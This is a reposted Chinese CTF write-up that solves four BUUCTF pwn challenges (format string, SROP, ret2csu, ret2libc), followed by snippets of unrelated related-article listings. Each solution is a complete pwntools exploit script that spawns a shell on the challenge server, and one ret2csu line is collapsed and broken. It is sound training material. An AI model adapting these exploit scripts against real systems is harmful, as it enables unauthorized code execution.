PWN-PRACTICE-BUUCTF-7

PWN-PRACTICE-BUUCTF-7

    • jarvisoj_fm
    • ciscn_2019_s_3
      • SROP解法
      • ret2csu解法
    • bjdctf_2020_babystack2
    • [HarekazeCTF2019]baby_rop2

jarvisoj_fm

格式化字符串漏洞,可以测出我们的输入在栈上的偏移为11
自己构造或者使用fmtstr_payload构造payload均可,目标是让x==4

from pwn import *
#io=process('./jarvisoj_fm')
io=remote('node4.buuoj.cn',26047)
elf=ELF('./jarvisoj_fm')
x_addr=0x0804A02C
#payload='aaaa%14$naaa'+p32(x_addr)
payload=fmtstr_payload(11,{x_addr:4})
io.sendline(payload)
io.interactive()

ciscn_2019_s_3

先看保护,开了Partial RELRO和NX
ciscn-protect
main函数里只有一个vuln函数,F5后看到有sys_read和sys_write
利用系统调用,sys_read向栈上写入最多0x400字节数据,sys_write从栈上取出最多0x30字节数据
0x400和0x30均大于buf的0x10字节,于是可造成栈溢出和泄露栈
注意这里0x00000000004004EE后没有抬高栈,rbp和rsp始终是相同的,下面也是用rsp来寻址
于是栈溢出时,将buf的0x10字节覆盖完全后,直接跟想要ret过去的地址即可
ciscn-vuln
再看gadgets处,将rax赋为15,然后返回,下面还有一条gadget将rax赋为59,然后返回
联系之前的syscall,系统调用号15对应sigreturn,系统调用号59对应execve
cisck-gadgets
于是该题有两种解法,一是SROP,二是ret2csu,目标都是让程序执行execve("/bin/sh",0,0),而前提是必须通过sys_write泄露栈地址,进而计算出字符串"/bin/sh"的地址

SROP解法

from pwn import *
#context.log_level="debug"
context.os="linux"
context.arch="amd64"
#io=process('./ciscn_s_3')
io=remote('node4.buuoj.cn',28749)
elf=ELF('./ciscn_s_3')
read_write=0x00000000004004F1
gadgets=0x00000000004004DA
syscall=0x0000000000400517
payload="/bin/sh\x00"+"a"*8+p64(read_write)
io.sendline(payload)
io.recv(0x20)
binsh=u64(io.recv(8))-0x118
print(hex(binsh))
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload="/bin/sh\x00"+"a"*8+p64(gadgets)+p64(syscall)+str(frame)
io.sendline(payload)
io.interactive()

ret2csu解法

#coding:utf-8
from pwn import *
#context.log_level="debug"
context.os="linux"
context.arch="amd64"
#io=process('./ciscn_s_3')
io=remote('node4.buuoj.cn',28749)
elf=ELF('./ciscn_s_3')
read_write=0x00000000004004F1
rax_59=0x00000000004004E2
syscall=0x0000000000400517
pop_rdi_ret=0x00000000004005a3
payload="/bin/sh\x00"+p64(rax_59)+p64(read_write)
io.sendline(payload)
io.recv(0x20)
binsh=u64(io.recv(8))-0x118
print(hex(binsh))
rax_59_stack=binsh+0x10
print(hex(rax_59_stack))
#gadget_2
gadget_2=0x0000000000400580
#gadget_1
gadget_1=0x000000000040059Adef com_gadget(rbx,rbp,r12,r13,r14,r15,main_addr):payload="/bin/sh\x00"+p64(rax_59)payload+=p64(gadget_1) payload+=p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)payload+=p64(gadget_2) payload+="a"*56 payload+=p64(main_addr) return payload
payload=com_gadget(0,1,rax_59_stack,0,0,59,pop_rdi_ret)
payload+=p64(binsh)+p64(syscall)
io.sendline(payload)
io.interactive()

bjdctf_2020_babystack2

输入长度时用"-1"绕过,后面就是简单的栈溢出,覆盖rip到backdoor

from pwn import *
#io=process('./bjdctf_2020_babystack2')
io=remote('node4.buuoj.cn',25885)
elf=ELF('./bjdctf_2020_babystack2')
backdoor=elf.sym['backdoor']
io.recvuntil('name:\n')
io.sendline('-1')
io.recvuntil('name?\n')
payload='a'*(0x10+8)+p64(backdoor)
io.sendline(payload)
io.interactive()

[HarekazeCTF2019]baby_rop2

栈溢出,ret2libc

from pwn import *
context.log_level="debug"
io=remote('node4.buuoj.cn',28557)
#io=process('./babyrop2')
elf=ELF('./babyrop2')
libc=ELF('./libc.so.6')
printf_plt=elf.plt['printf']
read_got=elf.got['read']
main=0x0000000000400636
pop_rdi_ret=0x0000000000400733
pop_rsi_r15_ret=0x0000000000400731
ret=0x00000000004004d1
s=0x0000000000400770
io.recvuntil("name? ")
payload="a"*(0x20+8)+p64(pop_rdi_ret)+p64(s)+p64(pop_rsi_r15_ret)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main)
io.sendline(payload)
io.recvline()
io.recvuntil("again, ")
read_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['read']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").next()
payload="a"*(0x20+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main)
io.recvuntil("name? ")
io.sendline(payload)
io.sendline("cat /home/babyrop2/flag")
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438109.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Axure教程 axure新手入门基础(3) 简单易上手

(三)Axure rp元件的触发事件 l OnClick(点击时): 鼠标点击事件,除了动态面板的所有的其他元件的点击时触发。比如点击按钮。 l OnMouseEnter(鼠标移入时): 鼠标进入到某个元件范围时触发,比如当鼠标移到某张图片时显示该图片的介绍。 l OnMouseOut(鼠标移…

PWN-PRACTICE-BUUCTF-8

PWN-PRACTICE-BUUCTF-8ciscn_2019_es_2jarvisoj_level3ez_pz_hackover_2016jarvisoj_tell_me_somethingciscn_2019_es_2 栈溢出,但是只能溢出8字节,覆盖ebp和eip,考虑stack pivot,即栈迁移 参考:pwn-ciscn_2019_es_2(…

使用Nuget 安装指定版本package或者更新package到指定版本

最近在琢磨MVC和EntityFramework,使用的VS是2013版的,在Nuget的GUI界面下安装了EntityFramework(默认安装最新版的,怎么安装指定版本还没找到),按照MVC的示例项目MusicStore逐步做的过程中发现MVC4不支持EntityFramwok 6。 尝试去更新MVC版本各种失败&a…

PWN-PRACTICE-BUUCTF-9

PWN-PRACTICE-BUUCTF-9[Black Watch 入群题]PWNjarvisoj_level4picoctf_2018_rop chain[ZJCTF 2019]EasyHeap[Black Watch 入群题]PWN vul_function可以向.bss段上写数据,还可以构成栈溢出,但只能溢出8字节,覆盖ebp和eip 利用两次栈迁移 第一…

CSS一个元素同时使用多个类选择器(class selector)

CSS类选择器参考手册 一个元素同时使用多个类选择器 CSS中类选择器用点号表示。实际项目中一个div元素为了能被多个样式表匹配到&#xff08;样式复用&#xff09;&#xff0c;通常div的class中由好几段组成&#xff0c;如<div class"user login">能被.user和…

css 块元素、内联元素、内联块元素

元素就是标签&#xff0c;布局中常用的有三种标签&#xff0c;块元素、内联元素、内联块元素&#xff0c;了解这三种元素的特性&#xff0c;才能熟练的进行页面布局。 块元素&#xff1a; 块元素&#xff0c;也可以称为行元素&#xff0c;布局中常用的标签&#xff0c;如&…

PWN-PRACTICE-BUUCTF-10

PWN-PRACTICE-BUUCTF-10jarvisoj_level3_x64bjdctf_2020_babyrop2hitcontraining_uafjarvisoj_test_your_memoryjarvisoj_level3_x64 64位elf的栈溢出&#xff0c;ret2csu from pwn import * #context.log_leveldebug #ioprocess(./jarvisoj_level3_x64) ioremote(node4.buuo…

PWN-PRACTICE-BUUCTF-11

PWN-PRACTICE-BUUCTF-11bjdctf_2020_routerpicoctf_2018_buffer overflow 1pwnable_orwwustctf2020_getshellbjdctf_2020_router Linux 系统可以在一个命令行上执行多个命令:; --如果命令被分号(;)所分隔&#xff0c;那么命令会连续的执行下去&#xff0c;就算是错误的命令也会…

Redis与关系型数据库的同步问题

Redis是一个高性能的key-value数据库。 redis的出现&#xff0c;很大程度补偿了memcached这类key-value存储的不足&#xff0c;在部分场合可以对关系数据库起到很好的补充作用。它提供了Python&#xff0c;Ruby&#xff0c;Erlang&#xff0c;PHP客户端&#xff0c;使用很方便。…

Delphi各个版本和发展历史

Delphi&#xff0c;是Windows平台下著名的快速应用程序开发工具(Rapid Application Development&#xff0c;简称RAD)。它的前身&#xff0c;即是DOS时代盛行一时的“BorlandTurbo Pascal”&#xff0c;最早的版本由美国Borland&#xff08;宝兰&#xff09;公司于1995年开发。…

PWN-PRACTICE-BUUCTF-12

PWN-PRACTICE-BUUCTF-12cmcc_simpleroppicoctf_2018_buffer overflow 2babyfengshui_33c3_2016xdctf2015_pwn200cmcc_simplerop 静态编译的32位elf&#xff0c;找一个"int 80h"执行系统调用 前提是利用栈溢出读入字符串"/bin/sh\x00"&#xff0c;然后找po…

C# 基础——C#特性

.NET C# Web开发学习之路——C#特性 C#历史办版本及特性 语言版本发布时间.NET Framework要求Visual版本C# 1.02002.1.NET Framework 1.0Visual Studio .NET 2002C# 1.1\1.22003.4.NET Framework 1.1Visual Studio .NET 2003C# 2.02005.11.NET Framework 2.0Visual Studio 20…

PWN-PRACTICE-BUUCTF-13

PWN-PRACTICE-BUUCTF-13[ZJCTF 2019]Logininndy_ropmrctf2020_shellcodejarvisoj_level1[ZJCTF 2019]Login 参考&#xff1a;ZJCTF 2019 Pwn from pwn import * ioremote(node4.buuoj.cn,27513) #io process("./login") shell 0x400e88 io.recvuntil("user…

同步与异步系列之二 导读目录

.NET 同步与异步 之 EventWaitHandle&#xff08;Event通知&#xff09; &#xff08;十三&#xff09; .NET 同步与异步 之 Mutex &#xff08;十二&#xff09; .NET 同步与异步 之 线程安全的集合 (十一) .NET 同步与异步 之 警惕闭包&#xff08;十&#xff09; .NET 同…

PWN-PRACTICE-BUUCTF-14

PWN-PRACTICE-BUUCTF-14bbys_tu_2016ciscn_2019_n_3roarctf_2019_easy_pwngyctf_2020_borrowstackbbys_tu_2016 栈溢出&#xff0c;覆盖eip到printFlag函数 from pwn import * #ioprocess(./bbys_tu_2016) ioremote(node4.buuoj.cn,27817) elfELF(./bbys_tu_2016) #io.recvun…

.NET 实现并行的几种方式(一)

好久没有更新了&#xff0c;今天来一篇&#xff0c;算是《同步与异步》系列的开篇吧&#xff0c;加油&#xff0c;坚持下去&#xff08;PS:越来越懒了&#xff09;。 一、Thread 利用Thread 可以直接创建和控制线程&#xff0c;在我的认知里它是最古老的技术了。因为out了、所…

PWN-PRACTICE-BUUCTF-15

PWN-PRACTICE-BUUCTF-15axb_2019_fmt32wustctf2020_getshell_2others_babystackpwnable_startaxb_2019_fmt32 格式化字符串漏洞 第一次打印出printf的真实地址&#xff0c;进而计算libc基地址&#xff0c;得到system真实地址 第二次修改got表&#xff0c;使printf的got指向sys…

PWN-PRACTICE-BUUCTF-16

PWN-PRACTICE-BUUCTF-16mrctf2020_easyoverflowhitcontraining_magicheapciscn_2019_s_40ctf_2017_babyheapmrctf2020_easyoverflow 覆盖main函数中的v5&#xff0c;使之为"n0t_r311y_f1g" from pwn import * rremote("node4.buuoj.cn",29521) payloada*…

REVERSE-PRACTICE-BUUCTF-32

REVERSE-PRACTICE-BUUCTF-32[第四章 CTF之APK章]数字壳的传说[第五章 CTF之RE章]Hello, RE[第五章 CTF之RE章]BabyAlgorithm[第五章 CTF之RE章]BabyConst[第五章 CTF之RE章]BabyLib[第五章 CTF之RE章]easy_rust[第五章 CTF之RE章]easy_go[第五章 CTF之RE章]easy_mfc[第四章 CTF…

.NET 实现并行的几种方式(二)

本随笔续接&#xff1a;.NET 实现并行的几种方式&#xff08;一&#xff09; 四、Task 3&#xff09;Task.NET 4.5 中的简易方式 在上篇随笔中&#xff0c;两个Demo使用的是 .NET 4.0 中的方式&#xff0c;代码写起来略显麻烦&#xff0c;这不 .NET 4.5提供了更加简洁的方…